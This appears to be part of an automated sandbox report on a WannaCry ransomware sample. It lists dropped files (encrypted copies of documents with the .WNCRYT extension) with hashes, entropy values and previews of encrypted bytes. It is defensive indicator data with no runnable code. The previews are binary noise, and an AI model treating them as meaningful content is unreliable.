                                                                                                      Preview:WANACRY!...........cG.+.5.....?..u...../..M.0.I..W1.Wk...j....zn..H^.....D '....Qh..G.=@w..SWC..`......H._...b.u+........w}.B.......r.H....X ....Zp....R.jj.2.i...1...-.&.R.}..j)=%d..2v......&.pd.!\....=4Q........W..//.}YON.qc.:..Z..jU.y...t~...A..N.D$="_i.........................2a.+..Z.....^.Y...).L.1...c...>9a.6`..D'...i..r.......}#)73.`3..m..7.$..J.M... ..0...n`...G......-.h0{]!n...h.I.w....#.7.T..,..0.8<.m.|.r..B....K...%4.....R....;yFy...0&.... .@.2...!B-....Z..j.X.3._J..p..C.6...D5..~...../.....:.wC.lg.ih;.H.Nz?5....U!R.b,f.V..,..`O..].9a......ejc...63s...... ..1I.>.9.U./.....Q... ..".u!.}.........X~.(..J...F=...sz./,..)..J..r0..!.BU.".|....;...........2.....t.$<9..Y.W.(P.\.....e#.{*{.*{.`b.7.r,..Ty.G..~.....P..K....~...A..'..r.i.8.....C.u~/.M.k..y...#b{..m....R..^.H..K...........G....Y..=.......tc.O.b...l..........GZ.-.2...+ar...?..d.(.......M...h. .IQ.Ta?.h t.w&......*.y..U..s.}......m.Ou...... ...{...T.9.f.7.2U...+.e.bp.I.@5..`.G....3...

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\FTCMSGAPZP.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.865180826533161
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkQ+I+nCJ+febVqR4eZ590Ie62dBLzlNnZCSdpknLE2ZR/f/ZZl/5uBIn2Y:bknfebVqRbZ5s62d9zlVZjQnLPn3lIIJ
                                                                                                      MD5:4D224E018C5653F40FE14892ECFF47E0
                                                                                                      SHA1:6AF50EAFF69EC4E4555DFABAA44B53D4C54D2FEA
                                                                                                      SHA-256:F3B5247DE25EEEF16F27E2BFC7F02095F60782E0EC37C057D2B3056DF9B230D8
                                                                                                      SHA-512:32C08234886F5B46C073CAD55F610FC4968BC840CD8E68B772B2921CEDA399A46646143DC63C3B0A04B9CED55508A83B5922CDE5B5CBF0147996C248ED30ADD5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........W&.1.f.C3~.."3.l....)........J....o[....}.-l.&...ET..Q{.GV..Jy.\l.|....]b.5#.0...2......+..&....M.s...6^!..,F.).f.....k}oMz..V..t.y3.d.i..9...K.}.b.nT.an.!....I.-....y..........|...W.....G,..Y......c..@..p.......0.a.H.).oI.iT>j+"@..H..Rz............{....c...5.....b4V.b.F/....f..,..K6..L.. .?A...L.wy..C~.lp.. {...z=....9.'D...F{>....o.....{.L.....t.....nX"].q..W_2u.H.VK..+p.....t.$......w......7D8...Z4@.>R.....`.........B3.=nrms+~..."M4.F.2d....zxI....#c<.^y..$C.!..-_.c..~.mJ.c..r..:.ig.)f.....T..z;2.bZ..a..s....).q..d..s[!.u.{....z.N.t.vS.N.L.LAw.2.d_F2R.X(.U:|C{YnSPh]."...w........a..n..4/A.7.x.F.!..'.$X.?."../.1..r.1...Bt.|.2...w..i._%.qn..7..{.-.%.......h.....EK..p......dw.[...k...7.}t.[...G....-T.wu.|.........j......i......'...<...HUvxG....F..[jg...D8...<.//. ..?CD...\VH..n-.8......"..y.S...c. U..J|.....k.xF..#R.Y.B.Y..h.../|.0...).QV...W.2.....Q.rU.G.V..1..fI.{~`I....k.M?.&..(L.t%.M?.m.f.+.XJ....- :T..^....w.

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GIGIYTFFYT.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8337869357482655
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkiwGUO4IPgM+F7aPCU3NMfHfvRaUgzMRbE6PDH0G8KEH3CUXLOYHysXCB8RV:bkM4DFWPCpHfpGzt6bHuHjXaYHxL
                                                                                                      MD5:6CE68FADD493EF14E5FF94E43BB139C5
                                                                                                      SHA1:4BB23D03E8F308FCBC43EAE0D4972505FD066564
                                                                                                      SHA-256:A9A79DC22E4C55E3FC2BF07F00086D540BE03C51F9BD8E874EED65681F93AFFA
                                                                                                      SHA-512:2EE78D98BA75B5459DB2CA72C7EBBC8C675899084C844C8FB5829AA99BFC350AC93B4976594FC432A0D20F23206525A127414097800080482E2DF9B6C6A1DD5A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....t..H.TR-_$x!...R.`^..[.T...qP?J.|..0]....O>d....0....>..z..>..(.2...N.Pt..#e0.O"U..#Y..>....4.e7...[.;......_.>.C.4k7..X..gP..%h.F......m.....o.U.X...@...<.5.u.w....]'3.....$...".kr.....G.. .Z..N..~H..>](.5v.rs.."z.m..q......&.SV.5tvf.................}.#..p.I..e4.4.mV.!.`..N.5.r.i......f..1...gZ...Kr#..m...bU...9v..S...hZ...h...7t....b.Y.6b.i..)N.......47H.hDl......!{.,MDZ.._.@...h..L....2(...k.....tG..5r...:@..0.:'.D.zH..F&../|N..V...Cg.}Rp@1.z...H.t.3...(0b...U..3er.`.6.|...o.fk..?..J...TNu.... 5.F.....t.5T.E.`YA\.....?..)..|.u.Bz$5...M.-....$."<.y.+.u...u...*..-{..6.0..5....A.....G.N.....q[.Q54......6@..m..v(h.{...[..../.Hof..5.{.q...V.I2_}..v._8.bnLQ..6 .5_.*W.!.......VH.B..~j..../..~......7....x.O...."..).l!.....Z....'=...YD.J...S0.Hz./J2E.9_.Y..cs..$..,.=@.Q7h..F..i...$LL....;..7.....;e}...j....p.0...MOa..k.N.%..t2..5...ZW.%Rdw+......J....Ob..FH.l.5..(...0..X...e..:g.OsR3.-...t'.........+l$.5.... ..ja.].:..j..U....i

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GNJEVOXLLS.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.859505668225437
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bklBwwSEgIZsNlsEYT35w/HRF0xrsY6e917Yz9zscgD0ICbQQDsvYqGwZ+eQDg0g:bkPqmsCEUuvRFAhpWz9y0IpGtz+CMBt
                                                                                                      MD5:8B3792E04DE73F7C3D28A0A9FCFFAB91
                                                                                                      SHA1:F24A95D01864C9AD7A00C82E723019A7B5CDC2BA
                                                                                                      SHA-256:710B7EC8870E693EB8AADDFDD39665AE2A392A67C5D3173C5C78B6A0F55761A6
                                                                                                      SHA-512:0A28068DF323FE803C6F5D5FEA861EACF8279D7A2031E16D260B091B7C06C329CB3C5C9BF784C548355B743EC63DCB2336CBD940EA9BA4F186795ED5B2B39299
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....G....zH..1x.V.....*.Z.........0.W....F....0.W..t2....T...5.=.......p. .6...,K...".u.d.e..D%vD...&+....ef......JBy0...].M..2.0.bX1G.*^...k...#;.y...q...I...X[.l....F.q....1...c(7.O.a.....E.H....vs>:.}@....S.....!.'!g.u..#...2....GLDK....W.|...............4......L.jlT..$R"..xQd...BS..<i..oO@..._...L<.Z.E`..aJGf..SM.'.:....a+u.1......{L:X....J...[... ....i...JM...s..d.M..."m.{....:\......t.e.cJ0..gzW..Q...4..1.o..b.......[..i.....\....n.....M1k-$.....g.......-A....;}.)uj.,..K...c.......f../.......i.H.4n..V....67f......e....(.d"..MG~.*.!!^O.h..}.[>.{.....F.J..m1aq.%.O...~.$...p$.&.~l:._.......u.%..A./r....P..X.qo..U..%lS..e.FE6/.=..P.Y..P.....w.&R..<nFGP6n..[..D,n.@=.T.Q.wo.s..~....%\d.....A.l7....c.P6.j....A^IF.b.r.z..'.&..64...>J.}.4..^PLv.2..WJ.0.<?(.&n..h...q:J...}....F.l..m.^&.?...I..4Q.{2.SK.C..A/2 E...........!.........MQ...bxu..o......>.1!B.f........^..C.J./.......%.-.......9.@..:...C.q/2.....=...F....ts.."P..r'..

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849582357645274
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk86ZZowb1J8h76LZEgR4i6WWf+CTta7iErAVCCu0T/0buoduAuAw7K52/mDhito:bkHZZBJ078R4i6WbZWsKCDDbuod4Ax2Y
                                                                                                      MD5:B2125E5D817DD017B93817BDA91F5465
                                                                                                      SHA1:10034EDD2D9B7AC893EF1265060610CADF9EF643
                                                                                                      SHA-256:79C7849AFC48AA5ADC64D79FE9FCF26A460347A4339ECC361A084A212EDCD0F9
                                                                                                      SHA-512:CAA38C71DC6930634696D92CE37F0DAEF523982233A416F43E7EFC15DCB6BF9811CD4009AEFB96104216B9116E7068D1A11F88EA4972CF84EDA285AFF48BD6A0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....,.......I.j1-.pt7....U.T.Y..r.1"...q?..qv..B+}...J.u........z..B.?.V....b..l2x,.1x...h!m..k.4.\....W.O....N..F.[./...n.'...Z...f............*+.h^[.m.m...s...A.V.c.OG:._.....&....t.......d.....m+...y.7.O.....nE8.[.a.b......yE...u5o.....\5N.UX.B/.............+jF....-.A....km.|..}.7..N....s..1...@..o.x,v.&...&y..,;IL.A....+...:...W.r`..j8.@t.*B..e.*%......'.r.K{=g.....q.....x }....3$O.+J.#I.F8h......}].G:.=VZ..b..x8.O........Us!.3>D.....rv..4......<..~.._.......I\....f......g.Wt...iW...`.b.d....5...5c.-.C.k.<.).o....'....a~]c..n...=...K....*4...a..'p.......QV...B.*.T..,..W....D..bv]p@.P......Y......=.......A.J|.wO;f..vo....E6.qG...u..?...+....I...f...:..;.....9U...&iw\^.".....G.s.dG{=F.9.(....G$6...R?J...1?...}\9.&.K..KE+c...j.=.Qg.2[........~.6..O....v../.!.o=.....OI5..F......F.O..^qu...s.1....q'Lq..y9..m...c.'5z..x.......#.M....K....(......`.D.y.9n.|...<.Q...~~...E.C..].;.?...r.#.S.i+..v...6....D...+*..m;m.o..T................

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.827980701255962
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkS3Jvf3q8GJnCjG/qXR9tlHdeMb870hpcDS8wN5dIz8oQTrZyYth:bkSpCNKUuR9txEMVcDS8q8z8oYJth
                                                                                                      MD5:C044204298A70E4DCCA1896741039CCE
                                                                                                      SHA1:3AED9AC7B0311AD6FB3C25241DF2C8687E13625A
                                                                                                      SHA-256:AA66A7CBB4E125B7731F8F382F4099E8C84385DAB5E6059A8CEDDD1CDDB3987C
                                                                                                      SHA-512:CE4F16A91C1D342757DC23B0FDD75F8E30A305B58AD7E61EA85963EE507EA40A6686A9FE41F1023FAB32395D0149DCB26C5FE7BD7B728E189A24B96FBBD46026
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....p'..\.O..5x..........U......L.5.R.).O......E.....@..v)....>.W@`..7v.3-..i.2^.l..Q4.o..+.....N.vj...B...Xl..][....X.n....w..^y...8%.. ..>.....}!.Q..x.W.Q...>.2.......~m..)zW..o..o.Jtg..O...H....n......@...n.\~...-..U:..+d.alP.V.O.Uk.......G../*.c.............C..B.B.sze.>........c,..U..(:..].....|..#|..C.mY......L........3.]... .~.o.).b..)C'......h.@g.N.g...Qf...o...d...3........L.... }..%.....[..f.^..s../c.@!."..l..........k...{t..Y...Hb.q..g.._Od.g.*MZ.|,...P..+K^w/.4...5.x.B1..........,....C.A[.Q...G.P.ok...c*....[Y.|.:$.......*..B|..6.P......!.M#UkF....'.L.9..[...Z...J....T(...........Oh.U....M4.y...|...<E...W.....y.m.............^...!..kl...QT..|a.SFh."...D...S..S.0rHT.............[..`....5.[ .>'......j.Ix..". .d..z..r..6:K.}`..ZeDF..Q.)-C.e..G@.)84P.....A..J...C...|...<.t.....H...v{.B.J....N...,WH**..2."L...X....."w..S0.S+...U../.....X$...(8y..........e.Z('...Czz.`!..5.(.fD..a......fI.B.....$K^7*0..<..P...._.r......[nQz..)..0...,H.[

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KLIZUSIQEN.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849853467791589
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk4oF3O6Zac952kzvkyDWaonU8X7FmbLyDyB9aIjflmlS+Cq6XJbSYcoV7ojswyf:bkPJMcP2kzvkeeX7P49/flmsrqapSYff
                                                                                                      MD5:0722C95ECA41C4FE53D784D7F9A60215
                                                                                                      SHA1:8926C9633F45972919892CDC16F1B58D89BD7B18
                                                                                                      SHA-256:8EF83E1772BE392E8C0E8276C3599D49FFEECCA412AB471AEA8BDF685BCD413B
                                                                                                      SHA-512:E015AA4EDEB7873C0A9723AA4615FB9E616E2DEF612BFEE7E88C69D5AAFCCB20AC522331F72F08AF426CE859589FAB300AA8F72FB41125150EEEAD34879BDE99
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....qj.......&7.WM....I.'........V..2.M...$I.D....bv..\..|B.}U.....-..a..j..M.9.&.....{.[GAvm..u.;[@.z.*....[.s...Q.../...@}.a]....i..)e.vqK.^/m.f.#..........s...NCH..-..}9...n..'.b ....z<:...~3...V:B@...x....%....w..O....J....T.....{.[<..S...<..k..#..............}.........E%....-.y....J&..~.......Q....V.>....,.......V.Pk...n..!..ao.l.b.../..Peb0....$@(*pP...".|.I.35..49A.y.. .....a.(Z_.3...N....r...I....;U..3......^.....:]..*...m.Y.(S=h.UA..g.J..\..J9.x..q..y.YU....G..m$FV...Q.g.p#.....u....'OZ.....U.......g.h...p.....Pq..p...........qJ.!Q..Ol..8....~.....M....HA.M/....p....1....(.*....p...i...\.X](/X........UlTV.;...*Q.k..)&..:..rN.;m...u@..)v.5.....#}.....4.)...[....5.a.Jo(.f.~..=..(..d.A.c{.`...5.k!...}.W.lx#ss......T&.PK`.4....tq..k.X.Ql..^.t..:.......Q..:....7qR..+.~.z &.._D^...4".(!.o..9#....-%....[..jKtyb1..e,..u.{..s...'Ym.....ja1..M..|..lH.Lz.=.Qv.D.6'.=.....iA.Zd...|.T..@.j..{h.t........U)........$.....gQ......z..W^.@.5"..9.

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MOCYNWGDZO.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.858472347031744
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjRbQlbX9Mgc3AnaKa8gkeUOzJsDCcQ5jTRQYpVn1PDC6gSVuxcFvMp3mc0Yoa:bk5QlbLnaKYke9zJsWcqjTDlh9UMvsmw
                                                                                                      MD5:659536FEFD7F3675E01D229461D07527
                                                                                                      SHA1:6813483C0EF1FAD61C2909589AF56B00D5B859E9
                                                                                                      SHA-256:31A183372542DD31C017FBAF51B0F6A0D5393D09AD632007BA7FCD0491A551BE
                                                                                                      SHA-512:74A9385AC8F22D2838A1BBE8797E50F23A408942FF2EFF701E656CDFFB7D15513A15F1A2EF3033A7675EF1302C7878C796411F1E9EAD6E61CBD1FC0C2E0F31CD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......^.4..t....1.....UV$..._B.]M..1@m...*......}..`a....P..........=6%.I.H..B.\.>..kW.!......a.5..5.gK.G.)..,.7..]E..m...J.Y].al.u...0v..h.0.^7D....Y.z..x.`ny6..Kv...w......X.$K.......".......F%..7^.C.D\.......W.fm#-d..X*e.34w;.....b.=..W.Q..?q............6..].....3u7H..P.oPo....x^Uip......-.....u..B..N...V......J......j$.......K.}..H....;...D.hK........%J.....?....t.7KI.H.....(._1..NHp.w.2..8:.r.\...w&<L.%.. ~....$......r.\..;...]j.K..d.k..@..&.I.'&..V..o.,b.?G..D.g.0.no.D.d."..q...&.,*.....Td.d....B...TR%!^...\E....{u...)Y(.. ...OL ....T....i*.}.R.;t.RmF@...n..a.`FXx..'vp!...WeJt`.\..:J.po.:-.Y...4.}L.....M..{xD.r. ..,.=S.(yp5....Z...1...%#..)..o..2...s..n".\.n.j..X.......+n.V.N'yq'....-dHA..{(..Fm7.sd...... .Ld.-....e.x.p.S.".t..S..`.0x..L...2...5PfX..QxP..0...k..V.....y........N+?.`.#..#2....()2.Q..;Oz...Q.. .A...L............\.T..}`1.&..<..'8..w...V....lE.......~..=..:.\.f...U.w..Q..+.k..fvz....P.....J.1.....6....t.3..sj.

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MOCYNWGDZO.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849465866803912
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjoaoDGM+/XGXPM5LJBubxUORaULU/Xt6Ks04K5kY74sdBu9c6l1HNR:bkjRtM+/XGXPMZyfRaUH0ZkY7r/CX
                                                                                                      MD5:0EE43DEF88FD7140F7438DF5E10F8752
                                                                                                      SHA1:91062C977EFAED6DA6583630D7859BE1AAF68FC5
                                                                                                      SHA-256:7968D4DD610EE624F6835EF92A3D43FEAC0B3AC86C99FB2C636F741E42680F4F
                                                                                                      SHA-512:ED648EEA8527AC3881645999D70C02106087D631B7BC8996C7CE4D14AD2EB874E5AB11FDF80C47476E68506DB2308D5BBC0C4577411F9C070D5708B666D9DA92
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....N....CL.2.m....t.).g.^.WG...h.S....&KalZ..Cu.....J..B.X....w1../A.n.....z..D.....g.[._......u....T...~.w.v....@zj.....]rj...0."V( ?Q...3r.<!.............o;....0X...7.M0..|H..T.~,.....=..8A[...T...^.V.6.F......./.....d.`.)._..a.E}......\.M...k...............k>...rTi..6p.9...*..D.......gL.<:B...+K8Y....1..!.f/H..V....]h@KT.[....s..6.....k...=....>....n#..UirD...2......laY.......jC...0......{/../...A.kf<....#%{c..P...y.a#v.P.....4.>|..Y....b'.y..I........GY.6.m...iy..I.V..Z..QR..`y7!v...R2[`...;...6...74.k..>....?C.nUN.<....'.8W.#.....Z~JFq....E.8........,.....{..ghC.N6.5..'9U...U.....b.Q..A.8.$6...R_.1....-...b5)....S.......Uh.&...kb.%.j!.r|...:f......4....x`.4[.i..\..3{1..#t"'..d...G..3..$.mJ..+.8......UQ4..q...g.^*P1s ..g...<.O.o....<[."..".~.....(."L.....jV..f.@R.7K.H.1........7....Y..j..zq.....T........o../E....;._....=.k...9.!~.$.a.~.!..%..4..J..c...J....,=.d.;D.H@.... XKYo?.<.d..J...YT6......#....t'.S.]@I1....y.Q.?D.SJ.5..,.

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.850896905314187
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkj4v8HDx6OU7Te+7NhzECEN0IjR0NH6sSJsFKmsLBJLK0DE2POmXMHpY49utAPy:bkMv8tk7TZ7NREl0rHCswmsLBJm0/POU
                                                                                                      MD5:CC6B09AF1388E22CF4295D31F12134C5
                                                                                                      SHA1:3FF64057314602B1E6844ED4AC3516D24A98B041
                                                                                                      SHA-256:8F5B9A4C739C5217F645A643D7263B5445ECF74AC3E996798F3C5224CDFF3421
                                                                                                      SHA-512:929EACE7FD2158203616865507F8FBBB47E4EF573746413D0052A93AB0D550BE870180A8FA76A08B50870AC910287C44C25B768973D0C0856A3AC892E0D7DEC6
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........x#6.ZN4...U...`.>st..t3.L..3H..O.P.UF..,..+.S....[..@ag.......F."<bs.._#.2.t`Xq2?.E4..U;a6Y>C.r]}*...}...^..2...I...y.KhR7."7..""........b.O.Jmy(........B.Z.n8..:].../L1_...]..sE.v.]w?!ebX...l.)'...O.jT.p8....5..O......%g.;o.hZ..3.|+.....1.X.............'..G.L..W.m{.:.~a..u.h.y...E.0..>c.=R..Un...a.;...|..!g kv.H8KE,v..5.h.XcH....6.R..6.I....R.H..8ox......V..N5..v......4]....}."..T..m0.R......J..H..f4..xQh.........3Sd.l..x.!.Z...C BXR.z...Z..$..@....E...JUv.d.....<.......T...DCF..h..d<.X7.V.G#{.1..$.K.?...^...<$._z..Q4J#..EC.`-3.].W._.R..R.....EM..k$..R...~..m.x..2.>6&..~./K..{I..F^..../j=a+K..l.7.....2...n.`.bL.5...x.u...z..-........?V^.u...2A......p<.......\......H..376n...6.<ZSn}...,.k.Y3ms..0.O..Z..B%.A.Ws...U.3_....6.....Rs......A..."5.....]..$k&..A.>..I.l0/._..u...@.a....y.:(*v@..z..z.l.....d1.n.......q.Z.[.....D..@...FN..^...nG@}..:.#.9.....8........oh75..(-...VO.....u.jp.. .......i.G.q.7.S.L.h..n..{.uX...M.G

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.842549498062117
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkPpA5wLTwy1jaAE9oCh3IQn0gKwWd8cfGCKzC0PyZDtI+VuHfwWf+gJNn:bka5wLsy1jaJ953R0kAuCd0Py7MfwWf3
                                                                                                      MD5:F6FA68E07B6AF07B2F0A99CC7008FE0B
                                                                                                      SHA1:D7D28FA274D4EAF24922E522A94FB04C8BECEE6A
                                                                                                      SHA-256:FCA5253195810DF5C0089272916EDFD2267C3B97C6F7BA32F2810CE14EAB338B
                                                                                                      SHA-512:F95D7961438DEE0ED2F2E626837AE6E0315973DA6D61998E022DE5E852E1EF5D120BC680AF6D7DEE5CC9FC843B6FF71A9E730FD328E39EF5A3F13B7511F698CA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....~.o9a.t.eK.z...........L. .X.~........!..>.Xf.|]..E..5$h.S)....I.7*_|M..rS,..$._g..QD?....<.A....v.~..sS...<.....#M..`...-.....p+..%...... .....g..Ni..y...!....H....\...7.J..b[...K...48......guO...G....!(%_....n1.{s.%.3.s.5&...+.a.2f.d.d.P............}..[<..]. .h;..xf."..n...[..p...n......z.^d...)....r..u.<9y.Dp....M.)I....>..._......`.tl...q....J.q.E.'wc}i.5!{@.cb. p..... !.f.i.....*.m..8...Wt..1.9.t..M.b..A..WU..m_...R..l.;...............=.(.y.yK...Q.!.h*|."..V........Sd...OH....pb.a....\.h......._Z...T.z.P>J._9.r...C....mREPH\.@...w._.x...T...{.#...h).j"M2T..<.m.......(.S..(.$.......d...1...b]..P...n..7.....=.U..%(`6q.+.. .Q..M.......i.i.E~...O..._..{)..Hf....[kn@..B....].,.~..&/.R...*Gv(Y......v.....T......B.F..X........i..S..g.E~...pcE..`.(..\....$. T.#.O..........eW0Y..k.-~....n.`.Y..e.s.hD.v...en4....^......IP.K.#...E....EU}.........d..sm-;.H. .<.............._.?.S.6..*..+....4.D8.3..^n......TN./.W.~.*.;.0M.]i?}..../

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.849733942196178
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkoW/ecSNZO0I384zyTjpWT+VmanfxGaDMXobqyz8UDKUClvyUweWrCU:bkoWmxTxXWKVmq6Xo9zdOLWrCU
                                                                                                      MD5:54330D6009E070917195135B8D40F07A
                                                                                                      SHA1:29B3AA1A9D889C1B322BCB0716F5A48FEF410368
                                                                                                      SHA-256:A7E072B3265A476CD4E017BEF5AE1CF9F95F76A33E5CAD88C7A6FE786D9B8725
                                                                                                      SHA-512:E15D8E55E099746882B7B40E7AAD2CC53443FE176A4CC7A24C64D0A7DC0942F38E48DA415DD42BA3BACF480900F94062D877A386019C79DFB1698A71B47D895D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....5...+uU......G...S9.%..L.EP.R..............WX..G....p..\|.......f.35.M.%n.v.J.....x.;.Pe......X>.[...-.....z.T...h.;..l.......^.XEz.B{+..1i#b...~........IJ<.x...P...!.?...P.....D.VI{G..!#.,9 /C.',........w.:p.!q.S.>L,.....qh.....O.g*.VK.t.W@................6R....S..-.N.w......x.Y...}p^.....]xe.,./...).e.=........j=......3l.r....."B.>.E4_.#..kkC.K..:......q.v....Y.b.k..(f.$.Gu.da9.N|.ZO.Ik._d_.....QZJ..%QOD.c.1....s......{.'%{.h6...u]Q..q...%x.....kG...Z.F......b....(8h....+:R..<za[..T|..E....#..D.5`..T..>.>.....;.........X.../,..Y..`...V.+ .O.a..6p..!sT..2....gH.-V.....t.....M.....iV...!.....b+.F?..*w.+.#<kiH.<l..C....^A..z.<..(......^o.7.j.QQ.2"...6H..'.;!,..1...%...W..A..t0...g.L.:......KP..~G...{...d.5>9....i...I......Z.5..9..L.d..er....+"t.1...*...D.."..8z.zy.R.WQ..9?[....K>..& .....O.....9%g.e..,8.).).Sz..^Xn.:[.-....RSG..&.....z.3..2....1\.t/.. .......~n....2.Sf.2....]o.p..Mc......%..'$k=..yB;...Y..........e...!O..b.*...=.

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8461507691898795
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkoUFlw4WQSicplIrY/q4LzL4q1y/hSk6t/xmx+efFqlx0WbVcFcrCm3TKPleqfU:bkZFl1WUcplH/Zt1yJfFK0Mru7PlTfU
                                                                                                      MD5:4DA820939D7BFF5263E4503F272FAB74
                                                                                                      SHA1:12746CD5B39AE84B453758742C877ECAE6CB7567
                                                                                                      SHA-256:1E651A2ED559E075D05FAA629A092E0D1BFF58B9E5F7B17A99A359B22FCB1AF2
                                                                                                      SHA-512:147BFF805F01A40D3AC134709AA49EAE1D43BE6476B85319B63EF2C0B93DE21F465BF872D9B840346CB86B0032F7AE176C496F31BBDE11DD158B545F63BD9AE1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........6.w.!.Q80G'ww...q.62k_~.u.k|^.m.kA..S.,.g...f'..Q...?.w"..xC.....F..O(*.d..z...0......G......^....H.E#l|..>*.A..R..MD}.P........i..j..Q:..9..L.... .P..'..z....<.R.6.i.X.8r..`.>.......7LM..]v......e`..x{......`...L.6..t[...*lk.g_.R..dT.;...............b...r{..<~T.6oY.i.....^....mT.....E\.h...w....h&ZsQ.&.MV._7._.Ffk(.T.....5.~......+.9....w..H..,..fl.$..l.]t.?..*.....?{.aW..q......U....8.:'...."....)[...3.......U....hL;..e.Eu...p...oA.|./....r$............;..........qg...q|....7.I..#..Lf..n..D.}X.....~|...n..Q.....'.R..LW.}~..T.t...tjh.u.C....sS|h.U.z........4P]t.....m..)<.m...s.h...>..D...U.N,..c....0.d.;..h..!sH..D...i.~........m..k.x($E.blJ....S..u...".=9......=".\>.t......r..a..=o....,.,.s....Yp.Ha..]tG..-..U5o).|..z].~N./........Xx....#.)-.`i.......7..r]......W...{..:c..S.B...=.\6>.m....X.JFJ.\..4..zm.....V.....W...M..F...4.Y.:.O....u..2F..#..@mE&..*m.j..{.c*..v5..T..-+..?..f..^..5...4c..!wtP,.H.../.......>..

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
